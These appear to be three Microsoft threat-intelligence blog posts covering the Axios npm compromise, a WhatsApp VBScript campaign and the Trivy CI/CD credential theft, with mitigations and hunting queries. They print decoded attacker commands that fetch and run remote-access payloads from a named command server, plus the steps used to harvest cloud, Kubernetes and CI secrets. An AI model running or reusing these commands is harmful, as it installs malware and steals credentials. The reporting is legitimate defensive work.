On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

Microsoft Defender Experts observed a campaign beginning in late February 2026 that uses WhatsApp messages to deliver malicious Visual Basic Script (VBS) files. Once executed, these scripts initiate a multi-stage infection chain designed to establish persistence and enable remote access.

The campaign relies on a combination of social engineering and living-off-the-land techniques. It uses renamed Windows utilities to blend into normal system activity, retrieves payloads from trusted cloud services such as AWS, Tencent Cloud, and Backblaze B2, and installs malicious Microsoft Installer (MSI) packages to maintain control of the system. By combining trusted platforms with legitimate tools, the threat actor reduces visibility and increases the likelihood of successful execution.

Attack chain overview

This campaign demonstrates a sophisticated infection chain combining social engineering (WhatsApp delivery), stealth techniques (renamed legitimate tools, hidden attributes), and cloud-based payload hosting. The attackers aim to establish persistence and escalate privileges, ultimately installing malicious MSI packages on victim systems. 

Stage 1: Initial Access via WhatsApp

The campaign begins with the delivery of malicious Visual Basic Script (VBS) files through WhatsApp messages, exploiting the trust users place in familiar communication platforms. Once executed, these scripts create hidden folders in C:\ProgramData and drop renamed versions of legitimate Windows utilities such as curl.exe renamed as netapi.dll and bitsadmin.exe as sc.exe. By disguising these tools under misleading names, attackers ensure they blend seamlessly into the system environment. Notably, these renamed binaries Notably, these renamed binaries retain their original PE (Portable Executable) metadata, including the OriginalFileName field which still identifies them as curl.exe and bitsadmin.exe. This means Microsoft Defender and other security solutions can leverage this metadata discrepancy as a detection signal, flagging instances where a file’s name does not match its embedded OriginalFileName. 

However, for environments where PE metadata inspection is not actively monitored, defenders may need to rely on command line flags and network telemetry to hunt for malicious activity. The scripts execute these utilities with downloader flags, initiating the retrieval of additional payloads.

Stage 2: Payload Retrieval from Cloud Services

After establishing a foothold, the malware advances to its next phase: downloading secondary droppers like auxs.vbs and WinUpdate_KB5034231.vbs. These files are hosted on trusted cloud platforms such as AWS S3, Tencent Cloud, and Backblaze B2, which attackers exploit to mask malicious activity as legitimate traffic.  

In the screenshot below, the script copies legitimate Windows utilities (curl.exe, bitsadmin.exe) into a hidden folder under C:\ProgramData\EDS8738, renaming them as netapi.dll and sc.exe respectively. Using these renamed binaries with downloader flags, the script retrieves secondary VBS payloads (auxs.vbs, 2009.vbs) from cloud-hosted infrastructure. This technique allows malicious network requests to blend in as routine system activity. 

By embedding their operations within widely used cloud services, adversaries make it difficult for defenders to distinguish between normal enterprise activity and malicious downloads. This reliance on cloud infrastructure demonstrates a growing trend in cybercrime, where attackers weaponize trusted technologies to evade detection and complicate incident response. 

Stage 3: Privilege Escalation & Persistence

Once the secondary payloads are in place, the malware begins tampering with User Account Control (UAC) settings to weaken system defenses. It continuously attempts to launch cmd.exe with elevated privileges retrying until UAC elevation succeeds or the process is forcibly terminated modifying registry entries under HKLM\Software\Microsoft\Win, and embedding persistence mechanisms to ensure the infection survives system reboots.  

These actions allow attackers to escalate privileges, gain administrative control, and maintain a long‑term presence on compromised devices. The malware modifies the ConsentPromptBehaviorAdmin registry value to suppress UAC prompts, silently granting administrative privileges without user interaction by combining registry manipulation with UAC bypass techniques, the malware ensures that even vigilant users or IT teams face significant challenges in removing the infection. 

Stage 4: Final Payload Delivery

In the final stage, the campaign delivers malicious MSI installers, including Setup.msi, WinRAR.msi, LinkPoint.msi, and AnyDesk.msi. all of which are unsigned. The absence of a valid code signing certificate is a notable indicator, as legitimate enterprise software of this nature would typically carry a trusted publisher signature. These installers enable attackers to establish remote access, giving them the ability to control victim systems directly.

The use of MSI packages also helps the malware blend in with legitimate enterprise software deployment practices, reducing suspicion among users and administrators. Once installed, tools like AnyDesk provide attackers with persistent remote connectivity, allowing them to exfiltrate data, deploy additional malware, or use compromised systems as part of a larger network of infected devices. 

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of the WhatsApp VBS Malware Campaign discussed in this report. These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender.  

Organizations can follow these recommendations to mitigate threats associated with this threat:       

• Strengthen Endpoint Controls Block or restrict execution of script hosts (wscript, cscript, mshta) in untrusted paths, and monitor for renamed or hidden Windows utilities being executed with unusual flags. 

• Enhance Cloud Traffic Monitoring Inspect and filter traffic to cloud services like AWS, Tencent Cloud, and Backblaze B2, ensuring malicious payload downloads are detected even when hosted on trusted platforms. 

• Detect Persistence Techniques Continuously monitor registry changes under HKLM\Software\Microsoft\Win and flag repeated tampering with User Account Control (UAC) settings as indicators of compromise. 

• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat‑intelligence sources.  

• Educate Users on Social Engineering Train employees to recognize suspicious WhatsApp attachments and unexpected messages, reinforcing that even familiar platforms can be exploited for malware delivery. 

Microsoft also recommends the following mitigations to reduce the impact of this threat:  

• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.  

• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. 

The following mitigations apply specifically to Microsoft Defender Endpoint security 

• Run EDR in block mode  so malicious artifacts can be blocked, even if your antivirus provider does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.  

• Enable network protection and web protection to safeguard against malicious sites and internet-based threats.  

• Allow investigation and remediation in full automated mode to take immediate action on alerts to resolve breaches, significantly reducing alert volume.  

• Turn on the tamper protection feature to prevent attackers from stopping security services. Combine tamper protection with the  DisableLocalAdminMerge setting to help prevent attackers from using local administrator privileges to set antivirus exclusions.  

• Microsoft Defender customers can also implement the following attack surface reduction rules to harden an environment against LOLBAS techniques used by threat actors:  

•  Block execution of potentially obfuscated scripts 

•  Block executable files from running unless they meet a prevalence, age, or trusted list criterion 

• Block JavaScript or VBScript from launching downloaded executable content 

 Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.  

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.  

Microsoft Defender threat analytics

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.  

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following query to find related activity in their networks:  

Malicious script execution  

DeviceProcessEvents  
| where InitiatingProcessFileName has "wscript.exe"  
| where InitiatingProcessCommandLine has_all ("wscript.exe",".vbs")  
| where ProcessCommandLine has_all ("ProgramData","-K","-s","-L","-o", "https:")   

Malicious next stage VBS payload drop   

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".vbs"  

Malicious installer payload drop

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".msi"  

Malicious outbound network communication  

DeviceNetworkEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where InitiatingProcessCommandLine has_all ("-s","-L","-o", "-k")  

Indicators of compromise

Initial Stage: VBS Scripts delivered via WhatsApp 

Next Stage VBS payload/Dropper dropped from cloud storage 

MSI installers (Final payload)

Cloud storage URLs: Payload hosting 

Command and control (C2) infrastructure 

This research is provided by Microsoft Defender Security Research with contributions from Sabitha S and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post WhatsApp malware campaign delivers VBScript and MSI backdoors appeared first on Microsoft Security Blog.

On March 19, 2026, Trivy, Aqua Security’s widely used open-source vulnerability scanner, was reported to have been compromised in a sophisticated CI/CD-focused supply chain attack. Threat actors leveraged access from a prior incident that was not fully remediated to inject credential-stealing malware into official releases of Aqua Security’s widely adopted open-source vulnerability scanner, Trivy. The attack simultaneously compromised the core scanner binary, the trivy-action GitHub Action, and the setup-trivy GitHub Action, weaponizing trusted security tooling against the organizations relying on it.

The campaign, attributed to the threat actor identifying as TeamPCP, introduces several concerning techniques. This blog walks through the Trivy supply chain attack and explains how Microsoft Defender helps organizations detect, investigate, and respond to this incident.

This activity has since expanded to additional frameworks, including Checkmarx KICS and LiteLLM, with further details to be shared as the investigation continues.

Update (March 25): Microsoft Defender for Cloud has since observed the campaign expanding to Checkmarx KICS (March 23) and LiteLLM (March 24). The core attack chain remained similar: broad credential harvesting with a focus on cloud credentials, including AWS IAM, GCP service account keys, and Azure environment variables, alongside Kubernetes secret enumeration and database credential searches, all exfiltrated to an attacker-controlled domain as an encrypted `tpcp.tar.gz` archive. Each wave used a new C2 domain themed to the compromised project: `checkmarx[.]zone` for the Checkmarx attack and `models.litellm[.]cloud` for LiteLLM. Refer to the updated mitigation table below for affected versions. 

Analyzing the Trivy supply chain compromise

The activity on March 19 represents the execution phase of the campaign, where previously established access was used to weaponize trusted Trivy distribution channels:

• Poisoning GitHub Actions used in CI/CD pipelines: Using compromised credentials with tag write access, the attacker force-pushed 76 of 77 version tags in aquasecurity/trivy-action and all 7 tags in aquasecurity/setup-trivy, redirecting existing, trusted version references to malicious commits. This caused downstream workflows to execute attacker-controlled code without any visible change to release metadata.
• Publishing a malicious Trivy binary: In parallel, the attacker triggered release automation to publish an infected Trivy binary (v0.69.4) to official distribution channels, including GitHub Releases and container registries, exposing both CI/CD environments and developer machines to credential theft and persistence.
• Maintaining stealth and impact window: Both the compromised GitHub Actions and the malicious binary were designed to execute credential-harvesting logic in addition to the legitimate Trivy functionality, allowing workflows and scans to appear successful while secrets were exfiltrated.
• Attack containment by maintainers: Later that day, the Trivy team identified the compromise and removed malicious artifacts from distribution channels, ending the active propagation phase.

How Git’s design was abused in the attack

This attack exploited two aspects of how Git and GitHub operate by design: mutable tags and self-declared commit identity, turning expected platform behavior into an advantage for the attacker.

In Git, a tag is a label that maps to a specific commit in the repository’s history. By default, these references are not immutable – anyone with push access can reassign an existing tag to point to an entirely different commit. The attacker did exactly that, replacing the target commit behind 76 of 77 tags in trivy-action and all 7 in setup-trivy with commits containing malicious payloads. Every CI/CD pipeline that referenced these actions by tag name began running the attacker’s code on its next execution, with no visible change on GitHub to alert maintainers or consumers.

In addition, the threat actor spoofed the identity of the commit, similar to the persona impersonation tactics seen in the Shai-Hulud 2.0 campaign.

For GitHub specific guidance, learn more about strengthening your supply chain.

Exploitation details

Microsoft Defender for Cloud observed the full attack chain in compromised self-hosted GitHub Actions runners.

Upon execution, the entry point performed process discovery to locate runner processes (Runner.Worker, Runner.Listener), then inspected them to identify processes carrying secrets. A base64-encoded Python payload was then decoded and executed to handle the credential harvesting phase.

The Python stealer first fingerprinted the host (“hostname”, “whoami”, “uname -a”, “ip addr”) and dumped all environment variables (via “printenv”). It then conducted broad-spectrum credential harvesting that reveals the attacker’s interest in maximizing the value of each compromised runner:

• Cloud credentials: For each major cloud provider, the stealer combined environment variable extraction with deeper credential access attempts:
  • AWS: Harvested environment variables (“grep AWS_”), then queried both the ECS task metadata endpoint (169.254.170.2) and the EC2 instance metadata service (169.254.169.254) for IAM credentials.
  • GCP: Harvested environment variables (“grep -i google”, “grep -i gcloud”) and attempted to read the service account key file via $GOOGLE_APPLICATION_CREDENTIALS.
  • Azure: Harvested environment variables (“grep -i azure”).
• Kubernetes secrets: Enumeration and exfiltration of mounted service-account files (under “/run/secrets/kubernetes.io/serviceaccount/”), and an attempt to dump all cluster secrets with Kubernetes CLI (“kubectl get secrets –all-namespaces -o json”).
• CI/CD and application secrets: Reading the runner’s internal environment files, recursive filesystem searches for API keys and tokens in “.env”, “.json”, “.yml”, and “.yaml” files, and harvesting of Slack and Discord webhook URLs.
• Infrastructure and access: Extraction of WireGuard VPN configurations (“wg showconf all”), SSH authentication logs (“/var/log/auth.log”, “/var/log/secure”), and database connection strings (MySQL, PostgreSQL, MongoDB, Redis, Vault).
• Cryptocurrency: Searches for Solana wallet variables and RPC authentication credentials (rpcuser, rpcpassword).

The stolen data was then encrypted using a hybrid AES-256-CBC + RSA scheme and bundled into a tpcp.tar.gz archive, then exfiltrated via HTTP POST to the typosquatted domain scan.aquasecurtiy[.]org.

